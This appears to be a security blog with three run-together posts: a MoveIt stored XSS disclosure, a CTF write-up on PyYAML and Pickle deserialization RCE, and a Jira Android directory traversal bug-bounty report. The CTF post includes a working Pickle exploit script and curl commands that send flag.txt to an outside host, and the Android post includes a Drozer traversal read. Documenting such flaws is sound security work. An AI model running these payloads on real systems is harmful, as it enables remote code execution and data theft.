Date: 1-31-2017 Software Link: https://www.ipswitch.com/moveit Affected Version: 8.1-9.4 (only confirmed on 8.1 but other versions prior to 9.5 may also be vulnerable) Exploit Author:[email protected] Contact: https://twitter.com/crowdshield Vendor Homepage: https://www.ipswitch.com Category: Webapps Attack Type: Remote Impact: Data/Cookie Theft
Description
IPSwitch MoveIt v8.1 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. Attackers can leverage this vulnerability to send malicious messages to other users in order to steal session cookies and launch client-side attacks.
Proof of Concept
The vulnerability lies in the Send Message -> Body Text Area input field.
1/30/2017 – Disclosed details of vulnerability to IPSwitch.
1/31/2017 – IPSwitch confirmed the vulnerability and verified the fix as of version 9.5 and approved public disclosure of the vulnerability.
Over the weekend, I had a chance to participate in the ToorConCTF (https://twitter.com/toorconctf) which gave me my first experience with serialization flaws in Python. Two of the challenges we solved included Python libraries that appeared to be accepting serialized objects and ended up being vulnerable to Remote Code Execution (RCE). Since I struggled a bit to find reference material online on the subject, I decided to make a blog post documenting my discoveries, exploit code and solutions. In this blog post, I will cover how to exploit deserialization vulnerabilities in the PyYAML (a Python YAML library) and Python Pickle libraries (a Python serialization library). Let’s get started!
Background
Before diving into the challenges, it’s probably important to start with the basics. If you are unfamilliar with deserialization vulnerabilities, the following exert from @breenmachine at Fox Glove Security (https://foxglovesecurity.com) probably explains it the best.
“Unserialize vulnerabilities are a vulnerability class. Most programming languages provide built-in ways for users to output application data to disk or stream it over the network. The process of converting application data to another format (usually binary) suitable for transportation is called serialization. The process of reading data back in after it has been serialized is called unserialization. Vulnerabilities arise when developers write code that accepts serialized data from users and attempt to unserialize it for use in the program. Depending on the language, this can lead to all sorts of consequences, but most interesting, and the one we will talk about here is remote code execution.”
PyYAML Deserialization Remote Code Execution
In the first challenge, we were presented with a URL to a web page which included a YAML document upload form. After Googling for YAML document examples, I crafted the following YAML file and proceeded to upload it to get a feel for the functionality of the form.
HTTP Request
POST/ HTTP/1.1
Host: ganon.39586ebba722e94b.ctf.land:8001
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://ganon.39586ebba722e94b.ctf.land:8001/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------200783363553063815533894329
Content-Length: 857
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="file"; filename="test.yaml"
Content-Type: application/x-yaml
---
# A list of global configuration variables
# # Uncomment lines as needed to edit default settings.
# # Note this only works for settings with default values. Some commands like --rerun <module>
# # or --force-ccd n will have to be set in the command line (if you need to)
#
# # This line is really important to set up properly
# project_path: '/home/user'
#
# # The rest of the settings will default to the values set unless you uncomment and change them
# #resize_to: 2048
'test'
-----------------------------200783363553063815533894329
Content-Disposition: form-data; name="upload"
-----------------------------200783363553063815533894329--
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Sun, 03 Sep 2017 02:50:16 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2213
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/
<!-- begin message block --><divclass="container flashed-messages"><divclass="row"><divclass="col-md-12"><divclass="alert alert-info"role="alert">
test.yaml is valid YAML
</div></div></div></div><!-- end message block --></div></div><divclass="container main" ><divclass="row"><divclass="col-md-12 main"><code></code>
As you can see, the document was uploaded successfully but only displayed whether the upload was a valid YAML document or not. At this point, I wasn’t sure exactly what I was supposed to do, but after looking more closely at the response, I noticed that the server was running gunicorn/19.7.1…
A quick search for gunicorn revealed that it is a Python web server which lead me to believe the YAML parser was in fact a Python library. From here, I decided to search for Python YAML vulnerabilities and discovered a few blog posts referencing PyYAML deserialization flaws. It was here that I came across the following exploit code for exploiting PyYAML deserialization vulnerabilities. The important thing here is the following code which runs the ‘ls’ command if the application is vulnerable to PyYaml deserialization:
As you can see, the payload worked and we now have code execution on the target server! Now, all we need to do is read the flag.txt…
I quickly discovered a limitaton of the above method was strictly limited to single commands (ie. ls, whoami, etc.) which meant there was no way to read the flag using this method. I then discovered that the os.system Python call could also be to achieve RCE and was capable of running multiple commands inline. However, I was quickly disasspointed after trying this and seeing that the result just returned “0” and I could not see my command output. After struggling to find the solution, my teamate @n0j pointed out that the os.system [“command_here” ] only returns a “0” exit code if the command is successful and is blind due to how Python handles sub process execution. It was here that I tried injecting the following command to read the flag: curl https://xerosecurity.com/?`cat flag.txt`
In the next CTF challenge, we were provided a host and port to connect to (ganon.39586ebba722e94b.ctf.land:8000). After initial connection however, no noticable output was displayed so I proceeded to fuzz the open port with random characters and HTTP requests to see what happened. It wasn’t until I tried injecting a single “‘” charecter that I received the error below:
# nc -v ganon.39586ebba722e94b.ctf.land 8000
ec2-34-214-16-74.us-west-2.compute.amazonaws.com [34.214.16.74] 8000 (?) open
cexceptions
AttributeError
p0
(S"Unpickler instance has no attribute 'persistent_load'"
p1
tp2
Rp3
.
The thing that stood out most was the (S”Unpickler instance has no attribute ‘persistent_load'” portion of the output. I immediately searched Google for the error which revealed several references to Python’s serialization library called “Pickle”.
It soon became clear that this was likely another Python deserialization flaw in order to obtain the flag. I then searched Google for “Python Pickle deserialization exploits” and discovered a similar PoC to the code below. After tinkering with the code a bit, I had a working exploit that would send Pickle serialized objects to the target server with the commands of my choice.
Exploit Code
#!/usr/bin/python# Python Pickle De-serialization Exploit by [email protected] - https://xerosecurity.com#import os
import cPickle
import socket
import os
# Exploit that we want the target to unpickleclassExploit(object):def__reduce__(self):# Note: this will only list files in your directory.# It is a proof of concept.return (os.system, ('curl https://xerosecurity.com/.injectx/rce.txt?`cat flag.txt`',))
defserialize_exploit():
shellcode = cPickle.dumps(Exploit())
return shellcode
definsecure_deserialize(exploit_code):
cPickle.loads(exploit_code)
if __name__ == '__main__':
shellcode = serialize_exploit()
print shellcode
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect(("ganon.39586ebba722e94b.ctf.land", 8000))
print soc.recv(1024)
soc.send(shellcode)
print soc.recv(1024)
soc.close()
So there you have it. Two practicle examples of Python serialization which can be used to obtain Remote Code Execution (RCE) in remote applications. I had a lot of fun competing in the CTF and learned a lot in the process, but due to other obligations time constraints I wasn’t able to put my entire focus into the CTF. In the end, our team “SavageSubmarine” placed 7th overall. Till next time…
As part of my research into the Atlassian bug bounty program managed by BugCrowd (https://bugcrowd.com/atlassian), I recently discovered a directory traversal vulnerability in PSPDFKit for Android 2.3.3 – 2.8.0. After announcing my discovery on Twitter (https://twitter.com/crowdshield/status/889690387513724928), I received a few tweets asking for a tutorial and PoC of my discoveries and decided to create a blog post to document it. This particular vulnerability was discovered in the Atlassian Jira Cloud application and was verified to be fixed in the latest release.
Technical Background
The Jira Cloud Android application (com.atlassian.android.jira.core) is vulnerable to directory traversal via the following exported content provider: content://com.atlassian.android.jira.core.pdf.share/. This allows an attacker to view the local file system on the affected Android device from external 3rd party applications installed on the same device. To exploit this flaw, an attacker can create a malicious application which queries the content provider directly in order to retrieve specific files stored locally on the device. If the victim installs the malicious application, an attacker can read files stored locally on the device. Alternatively, the content provider can be queried directory via the Android debug bridge (ADB) and does not require “root” access.
Detection
To enumerate the Android application, I used reverse-apk (https://github.com/1N3/ReverseAPK) which is a tool I wrote to reverse APK files. This revealed an exported content provider named com.pspdfkit.document.sharing.DocumentSharingProvider which means 3rd party apps on the same device can query the provider directly.
Next, I used Drozer to scan for common vulnerabilities such as SQL injection and directory traversal. This revealed a vulnerable content provider (content://com.atlassian.android.jira.core.pdf.share) but did not detail how to exploit the flaw.
# drozer console --server 127.0.0.1:31415 connect
drozer Console (v2.3.4)
dz> run scanner.provider.traversal -a com.atlassian.android.jira.core
Scanning com.atlassian.android.jira.core...
Not Vulnerable:
content://com.atlassian.android.jira.core.feedback.fileprovider
content://downloads/public_downloads
content://com.atlassian.android.jira.core/
content://com.atlassian.android.jira.core
content://com.atlassian.android.jira.core.pdf.assets
content://com.atlassian.android.jira.core.feedback.fileprovider/
content://downloads/public_downloads/
content://com.atlassian.android.jira.core.pdf.assets/
Vulnerable Providers:
content://com.atlassian.android.jira.core.pdf.share
content://com.atlassian.android.jira.core.pdf.share/
dz> run scanner.provider.traversal -a com.atlassian.android.jira.core
Scanning com.atlassian.android.jira.core...
Not Vulnerable:
content://com.atlassian.android.jira.core.feedback.fileprovider
content://downloads/public_downloads
content://com.atlassian.android.jira.core/
content://com.atlassian.android.jira.core
content://com.atlassian.android.jira.core.pdf.assets
content://com.atlassian.android.jira.core.feedback.fileprovider/
content://downloads/public_downloads/
content://com.atlassian.android.jira.core.pdf.assets/
Vulnerable Providers:
content://com.atlassian.android.jira.core.pdf.share
content://com.atlassian.android.jira.core.pdf.share/
Source Code Analysis
Drozer seemed to indicate that the content provider was vulnerable to directory traversal so I decided to take a look at the source code to confirm for myself. This was accomplished by running reverse-apk and opening the affected file. This confirmed that the content provider accepts URI strings via the ParcelFileDescriptor method and reads the contents (ParcelFileDescriptor.open(file, i);).
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
if (uri.getPath() == null) {
throw new FileNotFoundException(uri + " has empty path.");
} else if (getContext() == null) {
throw new IllegalStateException("Context was null.");
} else {
try {
int i;
File file = new File(getSharedFileDirectory(getContext()), uri.getPath());
if ("r".equals(mode)) {
i = 268435456;
} else if ("w".equals(mode) || "wt".equals(mode)) {
i = 738197504;
} else if ("wa".equals(mode)) {
i = 704643072;
} else if ("rw".equals(mode)) {
i = 939524096;
} else if ("rwt".equals(mode)) {
i = 1006632960;
} else {
i = 0;
}
return ParcelFileDescriptor.open(file, i);
} catch (IOException e) {
throw new FileNotFoundException(uri.toString() + " was not found.");
}
}
}
Exploitation
Now that I knew the content provider was vulnerable, I had to actually exploit this to do something useful. To do this, I used ADB (Android Debug Bridge) and Drozer (they essentially are the same thing and yield the same result..).
Drozer PoC
run app.provider.read content://com.atlassian.android.jira.core.pdf.share/.//..//.//..//.//..//.//..
//.//..//.//..//.//..//.//..///etc/hosts
127.0.0.1 localhost
After discovering the flaw, I reported the issue to Atlassian via BugCrowd and the issue was triaged by a BugCrowd analyst. Unfortunately, Atlassian later came back and reported that this issue was a duplicate and noted that this was a known issue affecting PSPDFKit for Android and has since been patched. As a consolation, I figured this would make a good blog post and Atlassian was nice enough to allow me to disclose the details publicly. The original advisory for PSPDFKit can be found below.